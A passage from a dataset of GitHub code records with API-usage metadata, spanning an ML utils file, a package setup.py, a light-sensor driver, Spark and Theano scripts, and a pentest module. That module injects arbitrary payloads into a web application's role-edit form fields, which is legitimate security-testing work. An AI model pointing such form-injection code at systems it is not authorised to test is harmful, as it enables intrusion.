"line_number": 61, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 61, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 61, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 69, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.start_process", "line_number": 81, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 81, "usage_type": "name"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 82, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 82, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 82, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 83, "usage_type": "call"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 90, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 90, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 90, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 93, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 93, "usage_type": "name"}, {"api_name": "time.time", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 93, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 96, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 96, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 96, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 104, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 104, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 104, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 105, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 105, "usage_type": "name"}, {"api_name": "time.time", "line_number": 105, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 105, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 108, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 108, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 108, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 115, "usage_type": "call"}, {"api_name": "rh_logger.api.logger.report_event", "line_number": 117, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 117, "usage_type": "name"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 117, "usage_type": "attribute"}, {"api_name": "rh_logger.api.logger.end_process", "line_number": 124, "usage_type": "call"}, {"api_name": "rh_logger.api.logger", "line_number": 124, "usage_type": "name"}, {"api_name": "rh_logger.ExitCode", "line_number": 124, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 144, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 152, "usage_type": "call"}]}
{"seq_id": "1186415853", "text": "from cloudbluepentest.core.intercept import CloudblueSession\nfrom cloudbluepentest.core.urls import application_url, cloudblue_url_dict\nfrom cloudbluepentest.core.html_parser import parsedHtml\nfrom urllib.parse import urljoin\nfrom decouple import config\nfrom cloudbluepentest.utils.logger import module_logger, log\nimport pytest\n\nmodule_log = module_logger(__name__)\n\n\ndef roleEdit(cb, payload, role_form_data):\n    try:\n        role_edit_page_url = cloudblue_url_dict['role_edit']\n        log.info('GET: %s', role_edit_page_url)\n        role_edit_page = cb.getRequest(\n            role_edit_page_url)\n        role_edit_page_html = parsedHtml(role_edit_page)\n        role_edit_page_form = role_edit_page_html.find(\n            name='form', attrs={'name': 'role-edit-form'})\n        role_edit_page_save_url = urljoin(\n            application_url, role_edit_page_form['action'])\n        log.info('role_edit_page_save_url %s', role_edit_page_save_url)\n        input_fields = role_edit_page_html.findAll('input')\n        formdata = dict((field.get('name'), '' if field.get('value') is None else field.get('value'))\n                        for field in input_fields)\n        formdata['role.organizationType'] = role_form_data['role.organizationType']\n        formdata['role.title'] = payload\n        formdata['role.authorityLevel'] = role_form_data['role.authorityLevel']\n        formdata['role.description'] = payload\n        formdata['permission.187'] = role_form_data['permission.187']\n        log.info('POST: %s formdata: %s' % (role_edit_page_save_url, formdata))\n        role_post_request = cb.postRequest(\n            role_edit_page_save_url, formdata)\n\n    except Exception as e:\n        module_log.error(e)\n        pytest.fail(e)\n\n\ndef role_save_verify(cb, role_form_data):\n    try:\n        role_list_page_url = cloudblue_url_dict['role_list']\n    except Exception as e:\n        pass\n", "repo_name": "H3adlock/pentest", "sub_path": "module/roles.py", "file_name": "roles.py", "file_ext": "py", "file_size_in_byte": 1888, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cloudbluepentest.utils.logger.module_logger", "line_number": 9, "usage_type": "call"}, {"api_name": "cloudbluepentest.core.urls.cloudblue_url_dict", "line_number": 14, "usage_type": "name"}, {"api_name": "cloudbluepentest.utils.logger.log.info", "line_number": 15, "usage_type": "call"}, {"api_name": "cloudbluepentest.utils.logger.log", "line_number": 15, "usage_type": "name"}, {"api_name": "cloudbluepentest.core.html_parser.parsedHtml", "line_number": 18, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 21, "usage_type": "call"}, {"api_name": "cloudbluepentest.core.urls.application_url", "line_number": 22, "usage_type": "argument"}, {"api_name": "cloudbluepentest.utils.logger.log.info", "line_number": 23, "usage_type": "call"}, {"api_name": "cloudbluepentest.utils.logger.log", "line_number": 23, "usage_type": "name"}, {"api_name": "cloudbluepentest.utils.logger.log.info", "line_number": 32, "usage_type": "call"}, {"api_name": "cloudbluepentest.utils.logger.log", "line_number": 32, "usage_type": "name"}, {"api_name": "pytest.fail", "line_number": 38, "usage_type": "call"}, {"api_name": "cloudbluepentest.core.urls.cloudblue_url_dict", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "18322716529", "text": "# utils.py - Utils for Python Code Gen project\nimport random\nimport torch\nimport yaml\n\ndef seed_code():\n    SEED = 1234\n    random.seed(SEED)\n    np.random.seed(SEED)\n    torch.manual_seed(SEED)\n    torch.cuda.manual_seed(SEED)\n    torch.backends.cudnn.deterministic = True\n\ndef epoch_time(start_time, end_time):\n    elapsed_time = end_time - start_time\n    elapsed_mins = int(elapsed_time / 60)\n    elapsed_secs = int(elapsed_time - (elapsed_mins * 60))\n    return elapsed_mins, elapsed_secs\n\n\n\ndef load_config(filename: str) -> dict:\n    '''Load a configuration file as YAML'''\n    with open(filename) as fh:\n        config = yaml.safe_load(fh)\n\n    return config\n\ndef count_parameters(model):\n    params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n    print(f'The model has {params:,} trainable parameters')\n    return params\n\n", "repo_name": "nikshrimali/TSAI_END", "sub_path": "Capstone/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 850, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.seed", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 12, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "9178903370", "text": "import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"mongo_lambda_backup\",\n    version=\"0.3.0\",\n    author=\"Frederik Ring\",\n    author_email=\"frederik.ring@gmail.com\",\n    description=\"Backup MongoDB databases using AWS Lambda functions\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/m90/mongo-lambda-backup\",\n    packages=[\"mongo_lambda_backup\"],\n    install_requires=[\"boto3~=1.7.62\", \"pymongo~=3.7.1\"],\n    classifiers=(\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ),\n)\n", "repo_name": "m90/mongo-lambda-backup", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 712, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "setuptools.setup", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "6012585074", "text": "import pandas as pd\nimport geopandas as gpd\n\n# Cargar el archivo\ngdf = gpd.read_file('./data/output/pois_patentes_comerciales.geojson')\ndf = gdf[['id', 'type', 'name']]\n\n# Definir palabras clave para cada categoría\nkeywords = {\n    \"Aprovisionamiento\": [\"rotiseria\", \"fruta\", \"tienda\", \"supermercado\", \"mercado\", \"comestible\", \"alimento\", \"abasto\", \"fruteria\", \"verduleria\"],\n    \"Entretenimiento\": [\"pista\",\"deport\",\"discot\",\"club\",\"parque\", \"esparcimiento\", \"teatro\", \"recreo\", \"juego\"],\n    \"Servicios\": [\"veter\",\"fotocopia\",\"belleza\",\"limpieza\",\"asesor\",\"gimnasio\",\"reparacion\",\"banco\", \"peluqueria\", \"asesoria\", \"servicio\", \"consultoria\", \"peluquera\", \"cerrajeria\"],\n    \"Comida para servir\": [\"postre\",\"cafe\",\"rest\", \"soda\", \"pizza\", \"pasteleria\", \"restaurante\", \"cocineria\", \"comida\", \"cafeteria\", \"bar\", \"cocina\", \"fast food\"],\n    \"Comercio\": [\"prenda\",\"perfume\",\"comerc\",\"regalo\",\"bebidas\",\"paqueteria\", \"cerveza\",\"libreria\",\"accesorios\",\"cantina\", \"licor\",\"alcohol\", \"comercia\", \"revista\", \"confiteria\", \"provision\", \"bazar\", \"repuesto\", \"venta\", \"comercio\", \"tienda\", \"boutique\", \"ropa\", \"zapato\"],\n    \"Cuidados\": [\"dental\",\"psicolo\",\"quiroprac\",\"pediatr\",\"kine\",\"radiografia\",\"odonto\",\"medico\", \"dentista\", \"salud\", \"hospital\", \"clinica\", \"farmacia\", \"laboratorio\"],\n    \"Educacion\": [\"colegio\", \"liceo\", \"escuela\", \"universidad\", \"jardin\", \"academia\", \"instituto\", \"educacion\"],\n    \"drop\": [\"moto\",\"proyect\",\"seguridad\",\"ahorro\",\"arquitectura\",\"inversion\",\"hostal\",\"inmobiliaria\",\"teleco\",\"vehiculo\",\"auto\",\"capital\",\"profesional\",\"oficina\",\"internet\",\"investigacion\",\"guardia\",\"divisa\",\"seguro\",\"estacionamiento\", \"asistencia\",\"personal\",\"agencia\",\"elaboracion\", \"hotel\", \"otras actividades\", \"import\", \"equipos\", \"maquinas\", \"administrat\", \"taller\", \"construccion\"]\n}\n\n# Función para categorizar amenidades basándose en palabras clave\ndef categorize_amenity(name):\n    for category, keys in keywords.items():\n        for key in keys:\n            if key in name.lower():\n                return category\n    return \"No clasificado\"\n\n# Aplicar la función para categorizar cada amenidad en el DataFrame\ndf['category'] = df['name'].apply(categorize_amenity)\n\n# Guardar el DataFrame con las categorías asignadas\ndf.to_csv('C:\\\\Users\\\\CityLab Biobio - DS\\\\Dev\\\\ds_ccp\\\\data\\\\input\\\\patentes_comerciales_amenities_labels.csv', index=False)\n# print(df[df['category']==\"No clasificado\"].shape)\n# print(df[df['category']!=\"No clasificado\"].shape)\n# print(df.shape)\n# df[df['category']==\"No clasificado\"].to_csv('./data/output/no_class.csv', index=False)\n\n", "repo_name": "diegoalrv/improved-waffle", "sub_path": "make_category_labels.py", "file_name": "make_category_labels.py", "file_ext": "py", "file_size_in_byte": 2567, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "geopandas.read_file", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "9018522881", "text": "#!/usr/bin/python\n# --------------------------------------\n#  Read data from a digital light sensor.\n#\n#  Official datasheet available from :\n#  https://www.mouser.com/ds/2/348/bh1750fvi-e-186247.pdf\n#\n# Author : Raúl Caro Pastorino\n# Date   : 01/08/2019\n#\n# --------------------------------------\nimport datetime\n\nimport smbus\nimport time\n\n\nclass BH1750:\n    DEVICE = 0x23      # Dirección i2c\n    POWER_DOWN = 0x00  # Estado inactivo\n    POWER_ON = 0x01    # Power on\n    RESET = 0x07       # Reset data register value\n    ONE_TIME_HIGH_RES_MODE = 0x20\n    bus = smbus.SMBus(1)  # Rev 2 Pi uses 1\n\n    # Parámetros para devolver datos del modelo de base de datos\n    table_name = 'table_light'\n\n    def __init__(self, device=0x23):\n        self.DEVICE = device\n\n    def data_to_decimal(self, data):\n        \"\"\"\n        Convierte los datos de 2 bytes que entra en \"data\" a número decimal.\n        :param data:\n        :return:\n        \"\"\"\n        return ((data[1] + (256 * data[0])) / 1.2)\n\n    def read_light(self):\n        \"\"\"\n        Realiza la lectura del sensor.\n        :return:\n        \"\"\"\n\n        time.sleep(0.12)\n\n        data = self.bus.read_i2c_block_data(\n            self.DEVICE,\n            self.ONE_TIME_HIGH_RES_MODE\n        )\n\n        return self.data_to_decimal(data)\n\n    def read_light_format_string(self):\n        \"\"\"\n        Devuelve la cantidad de lux formateado en una cadena.\n        :return:\n        \"\"\"\n        lux = self.read_light()\n        str_lux = 'Light Level : ' + str(lux) + \" lux\"\n\n        return str_lux\n\n    def get_all_datas(self):\n        \"\"\"\n        Devuelve un diccionario con los datos (coincidiendo con el tablemodel)\n        según lo tomado con el sensor.\n        \"\"\"\n        return {\n            'value': self.read_light(),\n        }\n\n    def tablemodel(self):\n        \"\"\"\n        Plantea campos como modelo de datos para una base de datos y poder ser\n        tomados desde el exterior.\n        \"\"\"\n\n        return {\n            'value': {\n                'type': 'Numeric',\n                'params': {\n                    'precision': 15,\n                    'asdecimal': True,\n                    'scale': 4\n                },\n                'others': None,\n            },\n            'created_at': {\n                'type': 'DateTime',\n                'params': None,\n                'others': {\n                    'default': datetime.datetime.utcnow\n                },\n            },\n        }\n\n    def debug(self):\n        \"\"\"\n        Función para depurar funcionamiento del modelo proyectando datos por\n        consola.\n        \"\"\"\n        print('Cantidad de luz actual:', self.read_light())\n        time.sleep(5)\n", "repo_name": "raupulus/raspberry-project-weather-station", "sub_path": "Models/Sensors/BH1750.py", "file_name": "BH1750.py", "file_ext": "py", "file_size_in_byte": 2676, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "smbus.SMBus", "line_number": 24, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 94, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 105, "usage_type": "call"}]}
{"seq_id": "13759631809", "text": "# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 2019年5月6日\r\n\r\n@author: Zhukun Luo\r\nJiangxi university of finance and economics\r\n'''\r\n#theano使用openmp\r\nimport theano as th\r\nth.config.openmp=True#启用openmp支持\r\nth.config.openmp_elemwise_minsize=1000#当数组长度超过1000.才对基于元素的操作进行并行化\r\nth.config.OMP_NUM_THREADS=4\r\n#要控制分配给OpenMP执行的线程数，可在执行代码前设置环境变量OMP_NUM_THREADS\r\n#一个基准程序，演示如何使用openMP\r\nimport numpy as np\r\nimport timeit\r\nimport theano.tensor as T\r\nx=T.vector('x')\r\ny=T.vector('y')\r\nhit_test=x**2+y**2<=1\r\nhits=hit_test.astype('int32').sum()\r\nmisses=x.shape[0]\r\npi_est=4*hits/misses\r\n\r\ncalculate_pi=th.function([x,y],pi_est,profile=True)\r\nx_val=np.random.uniform(-1,1,30000)\r\ny_val=np.random.uniform(-1,1,30000)\r\nres=timeit.timeit('calculate_pi(x_val,y_val)','from __main__ import x_val,y_val,calculate_pi',number=100000)\r\nprint(res)\r\ncalculate_pi.profile.summary()#打印剖析摘要\r\n#使用两个线程，性能小幅度提升，但是再增加线程，性能急速下降。这说明就输入规模而言，使用两个以上线程没有任何好处，因为启动新线程和同步其共享数据的代价比并行计算带来的好处大", "repo_name": "BigBigRadish/python_high_performance", "sub_path": "parallel_processing/test_theano.py", "file_name": "test_theano.py", "file_ext": "py", "file_size_in_byte": 1258, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "theano.config", "line_number": 10, "usage_type": "attribute"}, {"api_name": "theano.config", "line_number": 11, "usage_type": "attribute"}, {"api_name": "theano.config", "line_number": 12, "usage_type": "attribute"}, {"api_name": "theano.tensor.vector", "line_number": 18, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 18, "usage_type": "name"}, {"api_name": "theano.tensor.vector", "line_number": 19, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 19, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "attribute"}, {"api_name": "timeit.timeit", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "12038478277", "text": "from io import StringIO\nimport tempfile\nimport csv\nfrom pyspark.ml.regression import DecisionTreeRegressor\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import Row\nfrom pyspark.sql import functions\nfrom pyspark.ml.feature import VectorAssembler\nfrom pyspark.sql.types import StructType, StructField, IntegerType, DoubleType\nfrom pyspark.sql.functions import col\nimport os\n\n\nif __name__ == \"__main__\":\n        # Create a SparkSession\n        spark = SparkSession.builder.appName(\"DecisionTree\").getOrCreate()\n\n        '''\n        # Get the raw data\n        with open(temp_file.name, 'r') as f:\n            lines = csv.reader(f)\n        # Convert it to a RDD of Row objects with (userID, age, gender, occupation, zip)\n        users = lines.map(parseInput)\n        # Convert that to a DataFrame\n        usersDataset = spark.createDataFrame(users)\n        '''\n\n        # Define the schema of the CSV file\n        schema = StructType([\n            StructField(\"age\", IntegerType(), True),\n            StructField(\"sex\", IntegerType(), True),\n            StructField(\"cp\", IntegerType(), True),\n            StructField(\"trestbps\", IntegerType(), True),\n            StructField(\"chol\", IntegerType(), True),\n            StructField(\"fbs\", IntegerType(), True),\n            StructField(\"restecg\", IntegerType(), True),\n            StructField(\"thalach\", IntegerType(), True),\n            StructField(\"exang\", IntegerType(), True),\n            StructField(\"oldpeak\", DoubleType(), True),\n            StructField(\"slope\", IntegerType(), True),\n            StructField(\"ca\", IntegerType(), True),\n            StructField(\"thal\", IntegerType(), True),\n            StructField(\"heartdisease\", IntegerType(), True)\n        ])\n\n        # Read the CSV file using the specified schema\n        usersDataset = spark.read.format(\"csv\")\\\n            .option(\"header\", \"true\")\\\n            .schema(schema)\\\n            .load(\"./Data/heart.csv\")\n        \n        # Write it into MongoDB\n        usersDataset.write\\\n            .format(\"com.mongodb.spark.sql.DefaultSource\")\\\n            .option(\"uri\",\"mongodb://127.0.0.1/mydb.heart\")\\\n            .mode('append')\\\n            .save()\n\n        # Read it back from MongoDB into a new Dataframe\n        data = spark.read\\\n        .format(\"com.mongodb.spark.sql.DefaultSource\")\\\n        .option(\"uri\",\"mongodb://127.0.0.1/mydb.heart\")\\\n        .load()\n\n        # Cast columns to the appropriate data type\n        data = data.select(\n            col(\"age\").cast(IntegerType()),\n            col(\"sex\").cast(IntegerType()),\n            col(\"cp\").cast(IntegerType()),\n            col(\"trestbps\").cast(IntegerType()),\n            col(\"chol\").cast(IntegerType()),\n            col(\"fbs\").cast(IntegerType()),\n            col(\"restecg\").cast(IntegerType()),\n            col(\"thalach\").cast(IntegerType()),\n            col(\"exang\").cast(IntegerType()),\n            col(\"oldpeak\").cast(DoubleType()),\n            col(\"slope\").cast(IntegerType()),\n            col(\"ca\").cast(IntegerType()),\n            col(\"thal\").cast(IntegerType()),\n            col(\"heartdisease\").cast(IntegerType())\n        )\n\n        #data.createOrReplaceTempView(\"users\")\n        \n        #sqlDF = spark.sql(\"SELECT * FROM users WHERE age < 20\")\n        #sqlDF.show()\n\n        # Load data as a dataframe\n        #data = spark.read.option(\"header\", \"true\").option(\"inferSchema\", \"true\").csv(temp_file.name)\n\n        # Assemble features into a vector column\n        assembler = VectorAssembler().setInputCols([\"age\",\"sex\",\"cp\",\"trestbps\",\"chol\",\"fbs\",\\\n                                                    \"restecg\",\"thalach\",\"exang\",\"oldpeak\",\\\n                                                    \"slope\",\"ca\",\"thal\"]).\\\n                                                    setOutputCol(\"features\")\n                                                    \n        df = assembler.transform(data).select(\"heartdisease\", \"features\")\n        \n        # Split data into training and testing data\n        trainTest = df.randomSplit([0.8, 0.2])\n        trainingDF = trainTest[0]\n        testDF = trainTest[1]\n\n        # Train a Decision Tree model\n        dtr = DecisionTreeRegressor().setFeaturesCol(\"features\").setLabelCol(\"heartdisease\")\n        model = dtr.fit(trainingDF)\n\n        # Save the trained model\n        model.save(\"heart_model\")\n\n        # Predict on test data\n        fullPredictions = model.transform(testDF).cache()\n        predictions = fullPredictions.select(\"prediction\").rdd.map(lambda x: x[0])\n        labels = fullPredictions.select(\"heartdisease\").rdd.map(lambda x: x[0])\n        predictionAndLabel = predictions.zip(labels).collect()\n\n        # Write the predictions to a CSV file\n        with open('predictionsHeart.csv', mode='w') as predictions_file:\n            predictions_writer = csv.writer(predictions_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n            predictions_writer.writerow(['prediction', 'label'])\n            for prediction in predictionAndLabel:\n                predictions_writer.writerow(prediction)\n\n\n        # Write predictions to in-memory CSV file\n        csv_file = StringIO()\n        predictions_writer = csv.writer(csv_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n        predictions_writer.writerow(['prediction', 'label'])\n        for prediction in predictionAndLabel:\n            predictions_writer.writerow(prediction)\n\n        # Convert CSV file to list of lists\n        data = list(csv.reader(csv_file.getvalue().splitlines()))\n\n        # Stop the SparkSession\n        spark.stop()\n\n        # Render the predictions in an HTML table\n        #return render_template('predictions.html', data=data)\n\n        \n        \"\"\"\n        # Return the CSV file as a download\n        response = make_response()\n        response.headers['Content-Disposition'] = 'attachment; filename=predictions.csv'\n        with open(csv_file_path, mode='r') as csv_file:\n            response.data = csv_file.read()\n\n        # Stop the SparkSession\n        spark.stop()\n\n        return response\n        \"\"\"\n\n        '''\n        # Return the health recommendation\n        return jsonify({'recommendation': recommendation})\n        '''\n        \n        '''\n        # Return predictions as a JSON object\n        return jsonify(predictionAndLabel)\n        '''\n", "repo_name": "mohitsharma03/HealthRecommendationSystem", "sub_path": "TrainHeart.py", "file_name": "TrainHeart.py", "file_ext": "py", "file_size_in_byte": 6309, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 16, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 16, "usage_type": "name"}, {"api_name": "pyspark.sql.types.StructType", "line_number": 29, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 30, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 30, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 31, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 31, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 32, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 32, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 33, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 33, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 35, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 35, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 36, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 36, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 37, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 37, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 39, "usage_type": "call"}, {"api_name": "pyspark.sql.types.DoubleType", "line_number": 39, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 40, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 40, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 41, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 41, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 42, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 42, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 43, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 43, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 67, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 67, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 68, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 68, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 69, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 69, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 70, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 70, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 71, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 71, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 72, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 72, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 73, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 73, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 74, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 74, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 75, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 75, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 76, "usage_type": "call"}, {"api_name": "pyspark.sql.types.DoubleType", "line_number": 76, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 77, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 77, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 78, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 78, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 79, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 79, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 80, "usage_type": "call"}, {"api_name": "pyspark.sql.types.IntegerType", "line_number": 80, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.VectorAssembler", "line_number": 92, "usage_type": "call"}, {"api_name": "pyspark.ml.regression.DecisionTreeRegressor", "line_number": 105, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 119, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 119, "usage_type": "attribute"}, {"api_name": "io.StringIO", "line_number": 126, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 127, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 127, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 133, "usage_type": "call"}]}
{"seq_id": "39262184941", "text": "# -*- coding: utf-8 -*-\n\"\"\"Weather widget views.\"\"\"\n\nimport tkinter as tk\nfrom dataclasses import dataclass\nfrom typing import Callable\n\nimport overview.utils.formatters as fmt\nfrom overview.models.weather import InstantForecast\nfrom overview.views.shared.flexible import Flexible\nfrom overview.views.shared.view import View\n\n\n@dataclass\nclass CurrentWeatherViewProps:\n    \"\"\"Props for :class:`CurrentWeatherView`.\"\"\"\n\n    forecast: InstantForecast\n    on_refresh: Callable[[], None]\n\n\nclass CurrentWeatherView(View[CurrentWeatherViewProps]):\n    \"\"\"View for current weather.\"\"\"\n\n    def _update(self):\n        self.__real_temp.configure(\n            text=fmt.format_temperature(self.props.forecast.real_temp)\n        )\n        self.__feels_like.configure(\n            text=\"(\" + fmt.format_temperature(self.props.forecast.feels_like_temp) + \")\"\n        )\n        self.__weather_kind.configure(\n            text=fmt.format_weather_kind(self.props.forecast.kind, with_desc=True)\n        )\n        